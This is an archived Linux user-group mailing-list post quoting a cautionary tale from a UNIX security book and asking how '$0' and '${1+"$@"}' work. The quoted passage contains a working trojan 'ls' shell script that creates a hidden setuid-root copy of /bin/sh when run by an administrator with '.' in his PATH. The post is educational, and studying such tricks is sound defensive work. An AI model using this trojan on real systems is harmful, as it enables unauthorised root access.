Mailing List Archive

Support open source code!

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

tlug: questions and a story

tlug note from Jim Schweizer <>
Hi all,

Our local Maruzen bookstore just decided to stock most of the
O'Reilly books (my visa card is smoking;-) and I picked up
"Practical UNIX & Internet Security" and "Building Internet
Firewalls" (as well as "Running Linux","Learning the bash
Shell", "Webmaster in a Nutshell", and "Programming Perl")- a
little light reading for Spring break.

I picked this up from the Security book and don't understand
some things about this example:

Once upon a time there was a system manager from hell who
wouldn't reveal the root password to some authorized users. 

These users noticed that the sysop from hell had "." at the
beginning of his shell search path. So, our happy band of dissed
users created an executable shell file named ls in the current

  cp /bin/sh ./stuff/junk/.superdude
  chmod 4555 ./stuff/junk/.superdude
  rm -f $0
  exec /bin/ls ${1+"$@"}

Then they created:

  % cd
  % chmod 700 .
  % touch ./-f

and told the sysop from hell that they had a funny file in their
directory which they couldn't delete. Well, wasn't that sysop in
for a surprise:-0

The two things I don't get are

  rm -f $0
        ^^ - how does the shell script assign the scalar 0=ls?


  exec /bin/ls ${1+"$@"}
               ^^^^^^^^^ - what's the reasoning behind this?

moral of the story: don't put "." at the beginning of your path.


Jim S.

a word from the sponsor will appear below
The TLUG mailing list is proudly sponsored by TWICS - Japan's First
Public-Access Internet System.  Now offering 20,000 yen/year flat
rate Internet access with no time charges.  Full line of corporate
Internet and intranet products are available.
Tel: 03-3351-5977   Fax: 03-3353-6096

Home | Main Index | Thread Index

Home Page Mailing List Linux and Japan TLUG Members Links